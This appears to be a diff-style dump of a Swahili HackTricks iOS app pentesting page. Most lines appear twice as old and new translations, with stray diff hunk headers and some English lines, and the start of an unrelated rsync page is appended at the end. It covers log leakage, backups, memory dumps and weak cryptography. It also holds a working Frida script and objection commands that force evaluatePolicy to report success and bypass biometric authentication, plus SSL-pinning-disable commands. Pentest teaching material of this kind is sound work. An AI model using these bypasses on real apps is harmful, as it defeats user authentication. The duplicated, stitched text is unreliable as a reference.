Ili kupunguza hatari, inashauriwa **kushirikiana kwa kina na programu**, kuchunguza kazi zake zote na pembejeo kuhakikisha hakuna taarifa nyeti inayorekodiwa bila kukusudia.
Ili kupunguza hatari, inashauriwa **kushirikiana kwa kina na programu**, kuchunguza kazi zake zote na ingizo ili kuhakikisha hakuna taarifa nyeti inayorekodiwa bila kukusudia.
Wakati wa kupitia msimbo wa chanzo wa programu kwa uvujaji wa uwezekano, angalia **kauli za kuandika** zilizowekwa na **za kawaida** kwa kutumia maneno muhimu kama `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` kwa kazi zilizojengwa, na yoyote inayohusiana na `Logging` au `Logfile` kwa utekelezaji wa kawaida.
Wakati wa kupitia msimbo wa chanzo wa programu kwa uvujaji wa uwezekano, angalia **kauli za kuandika** zilizowekwa na **za kawaida** kwa kutumia maneno muhimu kama `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` kwa kazi za ndani, na yoyote inayohusiana na `Logging` au `Logfile` kwa utekelezaji wa kawaida.
### **Kufuatilia Maktaba za Mfumo**
@ -630,27 +630,27 @@ ni muhimu. Zaidi ya hayo, **Xcode** inatoa njia ya kukusanya kumbukumbu za conso
5. Chochea tatizo unalochunguza.
6. Tumia kitufe cha **Open Console** kuona kumbukumbu katika dirisha jipya.
Kwa kumbukumbu za hali ya juu, kuunganisha kwenye shell ya kifaa na kutumia **socat** kunaweza kutoa ufuatiliaji wa kumbukumbu kwa wakati halisi:
Kwa ajili ya kumbukumbu za hali ya juu, kuunganisha na shell ya kifaa na kutumia **socat** kunaweza kutoa ufuatiliaji wa kumbukumbu kwa wakati halisi:
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
Iliyofuatiwa na amri za kuangalia shughuli za log, ambazo zinaweza kuwa muhimu kwa kutambua matatizo au kubaini uvujaji wa data unaoweza kutokea katika logi.
Followed by commands to observe log activities, which can be invaluable for diagnosing issues or identifying potential data leakage in logs.
## Nakala za Hifadhi
## Backups
**Vipengele vya auto-backup** vimejumuishwa katika iOS, vinavyorahisisha uundaji wa nakala za data za kifaa kupitia iTunes (hadi macOS Catalina), Finder (kuanzia macOS Catalina kuendelea), au iCloud. Nakala hizi zinajumuisha karibu data zote za kifaa, isipokuwa vipengele vya siri sana kama vile maelezo ya Apple Pay na mipangilio ya Touch ID.
**Vipengele vya auto-backup** vimejumuishwa katika iOS, vinavyorahisisha uundaji wa nakala za data za kifaa kupitia iTunes (hadi macOS Catalina), Finder (kuanzia macOS Catalina kuendelea), au iCloud. Nakala hizi zinajumuisha karibu data zote za kifaa, isipokuwa vipengele vya nyeti sana kama vile maelezo ya Apple Pay na mipangilio ya Touch ID.
### Hatari za Usalama
### Security Risks
Kuongezwa kwa **programu zilizowekwa na data zao** katika nakala za hifadhi kunaleta suala la **uvujaji wa data** na hatari kwamba **mabadiliko ya nakala yanaweza kubadilisha utendaji wa programu**. Inashauriwa **kutohifadhi taarifa nyeti katika maandiko ya wazi** ndani ya saraka ya programu yoyote au saraka zake ndogo ili kupunguza hatari hizi.
Kuongezwa kwa **programu zilizowekwa na data zao** katika nakala kunaibua suala la **kuvuja kwa data** na hatari kwamba **mabadiliko ya nakala yanaweza kubadilisha utendaji wa programu**. Inashauriwa **kutohifadhi taarifa nyeti katika maandiko ya wazi** ndani ya saraka ya programu yoyote au saraka zake ndogo ili kupunguza hatari hizi.
### Kutengwa kwa Faili kutoka kwa Nakala za Hifadhi
### Excluding Files from Backups
Faili katika `Documents/` na `Library/Application Support/` zinahifadhiwa kwa default. Wataalamu wa programu wanaweza kutenga faili au saraka maalum kutoka kwa nakala za hifadhi kwa kutumia `NSURL setResourceValue:forKey:error:` na `NSURLIsExcludedFromBackupKey`. Praktiki hii ni muhimu kwa kulinda data nyeti isijumuishwe katika nakala za hifadhi.
Faili katika `Documents/` na `Library/Application Support/` zinahifadhiwa kwa default. Wataalamu wa maendeleo wanaweza kuondoa faili au saraka maalum kutoka kwa nakala kwa kutumia `NSURL setResourceValue:forKey:error:` na `NSURLIsExcludedFromBackupKey`. Praktiki hii ni muhimu kwa kulinda data nyeti isijumuishwe katika nakala.
### Kupima Uhalifu
### Testing for Vulnerabilities
Ili kutathmini usalama wa nakala za programu, anza kwa **kuunda nakala** kwa kutumia Finder, kisha ipate kwa kufuata mwongozo kutoka [nyaraka rasmi za Apple](https://support.apple.com/en-us/HT204215). Changanua nakala hiyo kwa data nyeti au mipangilio ambayo inaweza kubadilishwa ili kuathiri tabia ya programu.
Ili kutathmini usalama wa nakala ya programu, anza kwa **kuunda nakala** kwa kutumia Finder, kisha ipate kwa kufuata mwongozo kutoka [Apple's official documentation](https://support.apple.com/en-us/HT204215). Changanua nakala hiyo kwa data nyeti au mipangilio ambayo inaweza kubadilishwa ili kuathiri tabia ya programu.
Taarifa nyeti zinaweza kutafutwa kwa kutumia zana za mistari ya amri au programu kama [iMazing](https://imazing.com). Kwa nakala zilizofichwa, uwepo wa usimbaji unaweza kuthibitishwa kwa kuangalia ufunguo wa "IsEncrypted" katika faili ya "Manifest.plist" kwenye mzizi wa nakala.
```xml
@ -673,11 +673,11 @@ Mfano wa kubadilisha tabia ya programu kupitia marekebisho ya nakala umeonyeshwa
## Muhtasari juu ya Upimaji wa Kumbukumbu kwa Taarifa Nyeti
Wakati wa kushughulikia taarifa nyeti zilizohifadhiwa katika kumbukumbu ya programu, ni muhimu kupunguza muda wa kufichuliwa kwa data hii. Kuna mbinu mbili kuu za kuchunguza maudhui ya kumbukumbu: **kuunda dump ya kumbukumbu** na **kuchambua kumbukumbu kwa wakati halisi**. Mbinu zote zina changamoto zao, ikiwa ni pamoja na uwezekano wa kukosa data muhimu wakati wa mchakato wa dump au uchambuzi.
Wakati wa kushughulikia taarifa nyeti zilizohifadhiwa katika kumbukumbu ya programu, ni muhimu kupunguza muda wa kufichua data hii. Kuna mbinu mbili kuu za kuchunguza maudhui ya kumbukumbu: **kuunda dump ya kumbukumbu** na **kuchambua kumbukumbu kwa wakati halisi**. Mbinu zote zina changamoto zao, ikiwa ni pamoja na uwezekano wa kukosa data muhimu wakati wa mchakato wa dump au uchambuzi.
## **Kurejesha na Kuchambua Dump ya Kumbukumbu**
Kwa vifaa vyote vilivyovunjwa na visivyovunjwa, zana kama [objection](https://github.com/sensepost/objection) na [Fridump](https://github.com/Nightbringer21/fridump) zinaruhusu dumping ya kumbukumbu ya mchakato wa programu. Mara baada ya dumping, kuchambua data hii kunahitaji zana mbalimbali, kulingana na asili ya taarifa unayotafuta.
Kwa vifaa vyote vilivyovunjwa na visivyovunjwa, zana kama [objection](https://github.com/sensepost/objection) na [Fridump](https://github.com/Nightbringer21/fridump) zinaruhusu dumping ya kumbukumbu ya mchakato wa programu. Mara baada ya kutolewa, kuchambua data hii kunahitaji zana mbalimbali, kulingana na asili ya taarifa unayotafuta.
Ili kutoa nyuzi kutoka kwa dump ya kumbukumbu, amri kama `strings` au `rabin2 -zz` zinaweza kutumika:
```bash
@ -695,36 +695,36 @@ $ r2 <name_of_your_dump_file>
```
## **Uchambuzi wa Kumbukumbu ya Wakati Halisi**
**r2frida** inatoa mbadala mzuri wa kukagua kumbukumbu ya programu kwa wakati halisi, bila kuhitaji dump ya kumbukumbu. Chombo hiki kinaruhusu utekelezaji wa amri za kutafuta moja kwa moja kwenye kumbukumbu ya programu inayotembea:
**r2frida** inatoa mbadala mzuri wa kukagua kumbukumbu ya programu kwa wakati halisi, bila kuhitaji dump ya kumbukumbu. Chombo hiki kinaruhusu utekelezaji wa amri za utafutaji moja kwa moja kwenye kumbukumbu ya programu inayotembea:
```bash
$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>
```
## Uthibitisho wa Kificho
## Broken Cryptography
### Mchakato Mbaya wa Usimamizi wa Funguo
### Poor Key Management Processes
Wakandarasi wengine huhifadhi data nyeti katika hifadhi ya ndani na kuificha kwa funguo zilizowekwa kwa nguvu/kutabirika katika msimbo. Hii haipaswi kufanywa kwani baadhi ya kurudi nyuma kunaweza kuruhusu washambuliaji kutoa taarifa za siri.
Wakati mwingine waendelezaji huhifadhi data nyeti katika hifadhi ya ndani na kuificha kwa kutumia funguo zilizowekwa kwa nguvu/kutabirika katika msimbo. Hii haipaswi kufanywa kwani baadhi ya kurudi nyuma kunaweza kuruhusu washambuliaji kutoa taarifa za siri.
### Matumizi ya Algorithimu zisizo Salama na/au Zilizopitwa na Wakati
### Use of Insecure and/or Deprecated Algorithms
Wakandarasi hawapaswi kutumia **algorithimu zilizopitwa na wakati** kufanya **ukaguzi** wa mamlaka, **hifadhi** au **kutuma** data. Baadhi ya algorithimu hizi ni: RC4, MD4, MD5, SHA1... Ikiwa **hashes** zinatumika kuhifadhi nywila kwa mfano, hashes zinazopinga **brute-force** zinapaswa kutumika pamoja na chumvi.
Waendelezaji hawapaswi kutumia **algorithms** **zilizopitwa na wakati** kufanya **muhimu** **ukaguzi**, **hifadhi** au **tuma** data. Baadhi ya hizi ni: RC4, MD4, MD5, SHA1... Ikiwa **hashes** zinatumika kuhifadhi nywila kwa mfano, hashes zinazopinga **brute-force** zinapaswa kutumika na chumvi.
### Kagua
### Check
Ukaguzi mkuu wa kufanya ni kutafuta ikiwa unaweza kupata **nywila**/siri zilizowekwa kwa nguvu katika msimbo, au ikiwa hizo ni **kutabirika**, na ikiwa msimbo unatumia aina fulani ya algorithimu za **kificho** **dhaifu**.
Ukaguzi mkuu wa kufanya ni kutafuta ikiwa unaweza kupata **hardcoded** nywila/siri katika msimbo, au ikiwa hizo ni **kutabirika**, na ikiwa msimbo unatumia aina fulani ya **dhaifu** **cryptography** algorithms.
Ni ya kuvutia kujua kwamba unaweza **kufuatilia** baadhi ya **maktaba** za **crypto** kiotomatiki ukitumia **objection** na:
Ni ya kuvutia kujua kwamba unaweza **monitor** baadhi ya **crypto** **libraries** kiotomatiki ukitumia **objection** na:
```swift
ios monitor crypt
```
Kwa **maelezo zaidi** kuhusu iOS cryptographic APIs na maktaba, tembelea [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
Kwa **maelezo zaidi** kuhusu APIs na maktaba za usimbuaji za iOS, tembelea [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
## Uthibitishaji wa Mitaa
**Uthibitishaji wa mitaa** una jukumu muhimu, hasa linapokuja suala la kulinda ufikiaji katika mwisho wa mbali kupitia mbinu za kijasusi. Kiini hapa ni kwamba bila utekelezaji sahihi, mifumo ya uthibitishaji wa mitaa inaweza kupuuziliwa mbali.
**Uthibitishaji wa mitaa** una jukumu muhimu, hasa linapokuja suala la kulinda ufikiaji kwenye mwisho wa mbali kupitia mbinu za usimbuaji. Kiini hapa ni kwamba bila utekelezaji sahihi, mitambo ya uthibitishaji wa mitaa inaweza kupuuziliwa mbali.
[**Msingi wa Uthibitishaji wa Mitaa**](https://developer.apple.com/documentation/localauthentication) wa Apple na [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) zinatoa APIs thabiti kwa waendelezaji kuwezesha mazungumzo ya uthibitishaji wa mtumiaji na kushughulikia data ya siri kwa usalama, mtawalia. Secure Enclave inalinda fingerprint ID kwa Touch ID, wakati Face ID inategemea utambuzi wa uso bila kuathiri data za kibaiolojia.
[**Msingi wa Uthibitishaji wa Mitaa**](https://developer.apple.com/documentation/localauthentication) wa Apple na [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) zinatoa APIs thabiti kwa waendelezaji kuwezesha mazungumzo ya uthibitishaji wa mtumiaji na kushughulikia data za siri kwa usalama, mtawalia. Enclave Salama inalinda kitambulisho cha alama za vidole kwa Touch ID, wakati Face ID inategemea utambuzi wa uso bila kuathiri data za kibaiolojia.
Ili kuunganisha Touch ID/Face ID, waendelezaji wana chaguo mbili za API:
@ -732,24 +732,24 @@ Ili kuunganisha Touch ID/Face ID, waendelezaji wana chaguo mbili za API:
- **`Security.framework`** kwa ufikiaji wa huduma za keychain za kiwango cha chini, ikilinda data za siri kwa uthibitishaji wa kibaiolojia. Mifumo mbalimbali ya [open-source wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) inafanya ufikiaji wa keychain kuwa rahisi.
> [!CAUTION]
> Hata hivyo, `LocalAuthentication.framework` na `Security.framework` zinaonyesha udhaifu, kwani kwa msingi hurudisha thamani za boolean bila kuhamasisha data kwa michakato ya uthibitishaji, na kuifanya iwe rahisi kupuuzilia mbali (tazama [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
> Hata hivyo, `LocalAuthentication.framework` na `Security.framework` zinaonyesha udhaifu, kwani kwa msingi hurudisha thamani za boolean bila kuhamasisha data kwa michakato ya uthibitishaji, na kuifanya kuwa rahisi kupuuziliwa mbali (tazama [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
### Kutekeleza Uthibitishaji wa Mitaa
Ili kuhamasisha watumiaji kwa uthibitishaji, waendelezaji wanapaswa kutumia **`evaluatePolicy`** njia ndani ya **`LAContext`** darasa, wakichagua kati ya:
Ili kuwahamasisha watumiaji kwa uthibitishaji, waendelezaji wanapaswa kutumia **`evaluatePolicy`** ndani ya darasa la **`LAContext`**, wakichagua kati ya:
- **`deviceOwnerAuthentication`**: Inahamasisha kwa Touch ID au nambari ya kifaa, ikishindwa ikiwa zote mbili hazijawashwa.
- **`deviceOwnerAuthentication`**: Inahamasisha kwa Touch ID au nambari ya kifaa, ikishindwa ikiwa hakuna hata moja iliyowekwa.
- **`deviceOwnerAuthenticationWithBiometrics`**: Inahamasisha pekee kwa Touch ID.
Uthibitishaji uliofanikiwa unadhihirishwa na thamani ya boolean inayorejea kutoka **`evaluatePolicy`**, ikionyesha kasoro inayoweza kutokea ya usalama.
Uthibitishaji uliofanikiwa unadhihirishwa na thamani ya boolean inayorejeshwa kutoka **`evaluatePolicy`**, ikionyesha kasoro inayoweza kutokea ya usalama.
### Uthibitishaji wa Mitaa kwa kutumia Keychain
Kutekeleza **uthibitishaji wa mitaa** katika programu za iOS kunahusisha matumizi ya **keychain APIs** kuhifadhi kwa usalama data za siri kama vile token za uthibitishaji. Mchakato huu unahakikisha kuwa data inaweza kufikiwa tu na mtumiaji, akitumia nambari ya kifaa chake au uthibitishaji wa kibaiolojia kama Touch ID.
Kutekeleza **uthibitishaji wa mitaa** katika programu za iOS kunahusisha matumizi ya **keychain APIs** kuhifadhi kwa usalama data za siri kama vile token za uthibitishaji. Mchakato huu unahakikisha kwamba data inaweza kufikiwa tu na mtumiaji, akitumia nambari ya kifaa au uthibitishaji wa kibaiolojia kama Touch ID.
Keychain inatoa uwezo wa kuweka vitu na sifa ya `SecAccessControl`, ambayo inazuia ufikiaji wa kipengee hadi mtumiaji athibitishwe kwa mafanikio kupitia Touch ID au nambari ya kifaa. Kipengele hiki ni muhimu kwa kuboresha usalama.
Hapa chini kuna mifano ya msimbo katika Swift na Objective-C ikionyesha jinsi ya kuhifadhi na kupata string kutoka kwa keychain, ikitumia vipengele hivi vya usalama. Mifano inaonyesha hasa jinsi ya kuweka udhibiti wa ufikiaji ili kuhitaji uthibitishaji wa Touch ID na kuhakikisha kuwa data inapatikana tu kwenye kifaa ambacho ilipangwa, chini ya hali kwamba nambari ya kifaa imewekwa.
Hapa chini kuna mifano ya msimbo katika Swift na Objective-C ikionyesha jinsi ya kuhifadhi na kupata string kutoka kwa keychain, ikitumia vipengele hivi vya usalama. Mifano inaonyesha hasa jinsi ya kuanzisha udhibiti wa ufikiaji ili kuhitaji uthibitishaji wa Touch ID na kuhakikisha data inapatikana tu kwenye kifaa ambacho ilianzishwa, chini ya hali kwamba nambari ya kifaa imewekwa.
{{#tabs}}
{{#tab name="Swift"}}
@ -822,7 +822,7 @@ if (status == noErr) {
{{#endtab}}
{{#endtabs}}
Sasa tunaweza kuomba kipengee kilichohifadhiwa kutoka kwa keychain. Huduma za keychain zitaonyesha kidirisha cha uthibitishaji kwa mtumiaji na kurudisha data au nil kulingana na kama alitoa alama sahihi ya kidole au la.
Sasa tunaweza kuomba kipengee kilichohifadhiwa kutoka kwa keychain. Huduma za keychain zitaonyesha kidirisha cha uthibitishaji kwa mtumiaji na kurudisha data au nil kulingana na ikiwa alitoa alama ya vidole inayofaa au la.
{{#tabs}}
{{#tab name="Swift"}}
@ -876,7 +876,7 @@ NSLog(@"Something went wrong");
### Ugunduzi
Matumizi ya mifumo katika programu yanaweza pia kugundulika kwa kuchambua orodha ya maktaba za dinamik zinazoshirikiwa za programu. Hii inaweza kufanywa kwa kutumia `otool`:
Matumizi ya mifumo katika programu yanaweza pia kugunduliwa kwa kuchambua orodha ya maktaba za dinamik zinazoshirikiwa za programu. Hii inaweza kufanywa kwa kutumia `otool`:
```bash
$ otool -L <AppName>.app/<AppName>
```
@ -885,15 +885,15 @@ Ikiwa `LocalAuthentication.framework` inatumika katika programu, matokeo yatakuw
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
```
Ikiwa `Security.framework` inatumika, ya pili tu itakuwa inionyeshwa.
Ikiwa `Security.framework` inatumika, ya pili tu itakuwa inayoonyeshwa.
### Kupita Mfumo wa Uthibitishaji wa Mitaa
### Kudiriki Mfumo wa Uthibitishaji wa Mitaa
#### **Objection**
Kupitia **Objection Biometrics Bypass**, iliyoko kwenye [hii ukurasa wa GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), mbinu inapatikana ya kushinda mekanizma ya **LocalAuthentication**. Msingi wa njia hii unahusisha kutumia **Frida** kubadilisha kazi ya `evaluatePolicy`, kuhakikisha inatoa matokeo ya `True` kila wakati, bila kujali mafanikio halisi ya uthibitishaji. Hii ni muhimu sana kwa kukwepa michakato ya uthibitishaji wa kibayometriki yenye kasoro.
Kupitia **Objection Biometrics Bypass**, iliyoko kwenye [hii ukurasa wa GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), mbinu inapatikana kwa kushinda mekanizma ya **LocalAuthentication**. Msingi wa njia hii unahusisha kutumia **Frida** kubadilisha kazi ya `evaluatePolicy`, kuhakikisha inatoa matokeo ya `True` kila wakati, bila kujali mafanikio halisi ya uthibitishaji. Hii ni muhimu sana kwa kukwepa michakato ya uthibitishaji wa kibayometriki yenye kasoro.
Ili kuanzisha kupita hii, amri ifuatayo inatumika:
Ili kuanzisha hii bypass, amri ifuatayo inatumika:
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
@ -934,9 +934,9 @@ dispatch_async(dispatch_get_main_queue(), ^{
}
}
```
Ili kufanikisha **bypass** ya Uthibitishaji wa Mitaa, skripti ya Frida imeandikwa. Skripti hii inalenga ukaguzi wa **evaluatePolicy**, ikikamata callback yake ili kuhakikisha inarudisha **success=1**. Kwa kubadilisha tabia ya callback, ukaguzi wa uthibitishaji unakabiliwa kwa ufanisi.
Ili kufanikisha **bypass** ya Uthibitishaji wa Mitaa, skripti ya Frida imeandikwa. Skripti hii inalenga ukaguzi wa **evaluatePolicy**, ikikamata callback yake ili kuhakikisha inarudisha **success=1**. Kwa kubadilisha tabia ya callback, ukaguzi wa uthibitishaji unakwepa kwa ufanisi.
Skripti iliyo hapa chini inasambazwa kubadilisha matokeo ya mbinu ya **evaluatePolicy**. Inabadilisha matokeo ya callback kuonyesha kila wakati mafanikio.
Skripti iliyo hapa chini inasambazwa kubadilisha matokeo ya njia ya **evaluatePolicy**. Inabadilisha matokeo ya callback kuonyesha kila wakati mafanikio.
```swift
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
@ -958,25 +958,25 @@ return result;
console.log("Objective-C Runtime is not available!");
}
```
Ili kuingiza skripti ya Frida na kupita uthibitisho wa kibaiometriki, amri ifuatayo inatumika:
Ili kuingiza script ya Frida na kupita uthibitisho wa kibayometriki, amri ifuatayo inatumika:
```bash
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
```
## Ufunuo wa Kazi Nyeti Kupitia IPC
## Sensitive Functionality Exposure Through IPC
### Wasilisho Maalum ya URI / Deeplinks / Mipango Maalum
### Custom URI Handlers / Deeplinks / Custom Schemes
{{#ref}}
ios-custom-uri-handlers-deeplinks-custom-schemes.md
{{#endref}}
### Viungo vya Ulimwengu
### Universal Links
{{#ref}}
ios-universal-links.md
{{#endref}}
### Kushiriki UIActivity
### UIActivity Sharing
{{#ref}}
ios-uiactivity-sharing.md
@ -988,7 +988,7 @@ ios-uiactivity-sharing.md
ios-uipasteboard.md
{{#endref}}
### Nyongeza za Programu
### App Extensions
{{#ref}}
ios-app-extensions.md
@ -1000,13 +1000,13 @@ ios-app-extensions.md
ios-webviews.md
{{#endref}}
### Usawazishaji na Uandishi
### Serialisation and Encoding
{{#ref}}
ios-serialisation-and-encoding.md
{{#endref}}
## Mawasiliano ya Mtandao
## Network Communication
Ni muhimu kuangalia kwamba hakuna mawasiliano yanayotokea **bila usimbaji** na pia kwamba programu inathibitisha kwa usahihi **cheti cha TLS** cha seva.\
Ili kuangalia masuala haya unaweza kutumia proxy kama **Burp**:
@ -1015,19 +1015,19 @@ Ili kuangalia masuala haya unaweza kutumia proxy kama **Burp**:
burp-configuration-for-ios.md
{{#endref}}
### Ukaguzi wa Jina la Kikoa
### Hostname check
Tatizo moja la kawaida katika kuthibitisha cheti cha TLS ni kuangalia kwamba cheti kimeandikwa na **CA** **iliyoaminika**, lakini **sio kuangalia** kama **jina la kikoa** la cheti ndilo jina la kikoa linalofikiwa.\
Ili kuangalia tatizo hili kwa kutumia Burp, baada ya kuamini Burp CA kwenye iPhone, unaweza **kuunda cheti kipya na Burp kwa jina la kikoa tofauti** na kukitumia. Ikiwa programu bado inafanya kazi, basi, kuna kitu kinahatarisha.
Tatizo moja la kawaida katika kuthibitisha cheti cha TLS ni kuangalia kwamba cheti kimeandikwa na **CA** **iliyoaminika**, lakini **sio kuangalia** kama **jina la mwenyeji** la cheti ndilo jina la mwenyeji linalofikiwa.\
Ili kuangalia tatizo hili kwa kutumia Burp, baada ya kuamini Burp CA kwenye iPhone, unaweza **kuunda cheti kipya na Burp kwa jina la mwenyeji tofauti** na kukitumia. Ikiwa programu bado inafanya kazi, basi, kuna kitu kinahatarisha.
### Ufunguo wa Cheti
### Certificate Pinning
Ikiwa programu inatumia SSL Pinning kwa usahihi, basi programu itafanya kazi tu ikiwa cheti ni kile kinachotarajiwa. Wakati wa kujaribu programu **hii inaweza kuwa tatizo kwani Burp itatoa cheti yake mwenyewe.**\
Ili kupita ulinzi huu ndani ya kifaa kilichovunjwa, unaweza kufunga programu [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) au kufunga [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
Unaweza pia kutumia **objection's** `ios sslpinning disable`
## Mambo Mengine
## Misc
- Katika **`/System/Library`** unaweza kupata mifumo iliyosakinishwa kwenye simu inayotumiwa na programu za mfumo
- Programu zilizowekwa na mtumiaji kutoka Duka la Programu ziko ndani ya **`/User/Applications`**
@ -1038,21 +1038,21 @@ Unaweza pia kutumia **objection's** `ios sslpinning disable`
- **`iTunesMetadata.plist`**: Taarifa ya programu inayotumiwa katika Duka la Programu
- **`/Library/*`**: Inashikilia mapendeleo na cache. Katika **`/Library/Cache/Snapshots/*`** unaweza kupata picha iliyofanywa kwa programu kabla ya kuituma kwenye nyuma.
### Hot Patching/Kuongeza Sasisho
### Hot Patching/Enforced Updateing
Wakuu wa programu wanaweza kwa mbali **kurekebisha usakinishaji wote wa programu yao mara moja** bila ya kuwasilisha tena programu hiyo kwenye Duka la Programu na kusubiri hadi idhini ipatikane.\
Kwa kusudi hili mara nyingi hutumia [**JSPatch**](https://github.com/bang590/JSPatch)**.** Lakini kuna chaguzi nyingine pia kama [Siren](https://github.com/ArtSabintsev/Siren) na [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
**Hii ni mbinu hatari ambayo inaweza kutumika vibaya na SDK za wahusika wengine, kwa hivyo inashauriwa kuangalia ni mbinu gani inayotumika kwa sasisho za kiotomatiki (ikiwa zipo) na kujaribu.** Unaweza kujaribu kupakua toleo la awali la programu kwa kusudi hili.
**Hii ni mbinu hatari ambayo inaweza kutumika vibaya na SDK za wahalifu wa tatu, kwa hivyo inashauriwa kuangalia ni njia gani inatumika kwa sasisho za kiotomatiki (ikiwa zipo) na kujaribu.** Unaweza kujaribu kupakua toleo la awali la programu kwa kusudi hili.
### Wahusika Wengine
### Third Parties
Changamoto kubwa na **SDK za wahusika wengine** ni **ukosefu wa udhibiti wa kina** juu ya kazi zao. Wakuu wa programu wanakabiliwa na chaguo: ama kuunganisha SDK na kukubali vipengele vyake vyote, ikiwa ni pamoja na hatari za usalama na wasiwasi wa faragha, au kuacha faida zake kabisa. Mara nyingi, wakuu wa programu hawawezi kurekebisha hatari ndani ya SDK hizi wenyewe. Zaidi ya hayo, kadri SDK zinavyopata uaminifu ndani ya jamii, baadhi zinaweza kuanza kuwa na malware.
Changamoto kubwa na **SDK za wahusika wengine** ni **ukosefu wa udhibiti wa kina** juu ya kazi zao. Wakuu wa programu wanakabiliwa na chaguo: ama kuunganisha SDK na kukubali vipengele vyake vyote, ikiwa ni pamoja na hatari za usalama na wasiwasi wa faragha, au kuacha faida zake kabisa. Mara nyingi, wakuu wa programu hawawezi kurekebisha udhaifu ndani ya SDK hizi wenyewe. Zaidi ya hayo, kadri SDK zinavyopata imani ndani ya jamii, baadhi zinaweza kuanza kuwa na malware.
Huduma zinazotolewa na SDK za wahusika wengine zinaweza kujumuisha ufuatiliaji wa tabia za mtumiaji, kuonyesha matangazo, au kuboresha uzoefu wa mtumiaji. Hata hivyo, hii inaleta hatari kwani wakuu wa programu wanaweza kutokuwa na ufahamu kamili wa msimbo unaotekelezwa na maktaba hizi, na kusababisha hatari za faragha na usalama. Ni muhimu kupunguza taarifa zinazoshirikiwa na huduma za wahusika wengine hadi zile zinazohitajika na kuhakikisha kwamba hakuna data nyeti inayofichuliwa.
Huduma zinazotolewa na SDK za wahusika wengine zinaweza kujumuisha ufuatiliaji wa tabia za mtumiaji, kuonyesha matangazo, au kuboresha uzoefu wa mtumiaji. Hata hivyo, hii inaingiza hatari kwani wakuu wa programu wanaweza kutokuwa na ufahamu kamili wa msimbo unaotekelezwa na maktaba hizi, na kusababisha hatari za faragha na usalama. Ni muhimu kupunguza taarifa zinazoshirikiwa na huduma za wahusika wengine hadi zile zinazohitajika na kuhakikisha kwamba hakuna data nyeti inayofichuliwa.
Utekelezaji wa huduma za wahusika wengine kawaida huja katika aina mbili: maktaba huru au SDK kamili. Ili kulinda faragha ya mtumiaji, data yoyote inayoshirikiwa na huduma hizi inapaswa kuwa **isiyojulikana** ili kuzuia kufichuliwa kwa Taarifa za Kibinafsi (PII).
Utekelezaji wa huduma za wahusika wengine kawaida huja katika aina mbili: maktaba huru au SDK kamili. Ili kulinda faragha ya mtumiaji, data yoyote inayoshirikiwa na huduma hizi inapaswa kuwa **imefichwa** ili kuzuia kufichuliwa kwa Taarifa za Kibinafsi (PII).
Ili kubaini maktaba ambazo programu inatumia, amri ya **`otool`** inaweza kutumika. Chombo hiki kinapaswa kukimbizwa dhidi ya programu na kila maktaba iliyoshirikiwa inayotumiwa kugundua maktaba za ziada.
Ili kubaini maktaba ambazo programu inatumia, amri ya **`otool`** inaweza kutumika. Chombo hiki kinapaswa kukimbizwa dhidi ya programu na kila maktaba iliyoshirikiwa inayotumiwa ili kugundua maktaba za ziada.
```bash
otool -L <application_path>
```

View File

@ -2,20 +2,20 @@
{{#include ../banners/hacktricks-training.md}}
## **Taarifa za Msingi**
## **Basic Information**
Kutoka [wikipedia](https://en.wikipedia.org/wiki/Rsync):
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync** ni chombo cha kuhamasisha [kuhamasisha](https://en.wikipedia.org/wiki/File_transfer) na [kuunganisha](https://en.wikipedia.org/wiki/File_synchronization) [faili](https://en.wikipedia.org/wiki/Computer_file) kati ya kompyuta na diski ngumu ya nje na kati ya [kompyuta](https://en.wikipedia.org/wiki/Computer) zilizounganishwa [mtandao](https://en.wikipedia.org/wiki/Computer_network) kwa kulinganisha [nyakati za mabadiliko](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) na ukubwa wa faili.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) Inapatikana mara nyingi kwenye [sistimu za uendeshaji](https://en.wikipedia.org/wiki/Operating_system) zinazofanana na [Unix](https://en.wikipedia.org/wiki/Unix-like). Algorithimu ya rsync ni aina ya [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding), na inatumika kupunguza matumizi ya mtandao. [Zlib](https://en.wikipedia.org/wiki/Zlib) inaweza kutumika kwa [kuongeza](https://en.wikipedia.org/wiki/Data_compression) [kushinikiza data](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) na [SSH](https://en.wikipedia.org/wiki/Secure_Shell) au [stunnel](https://en.wikipedia.org/wiki/Stunnel) zinaweza kutumika kwa usalama.
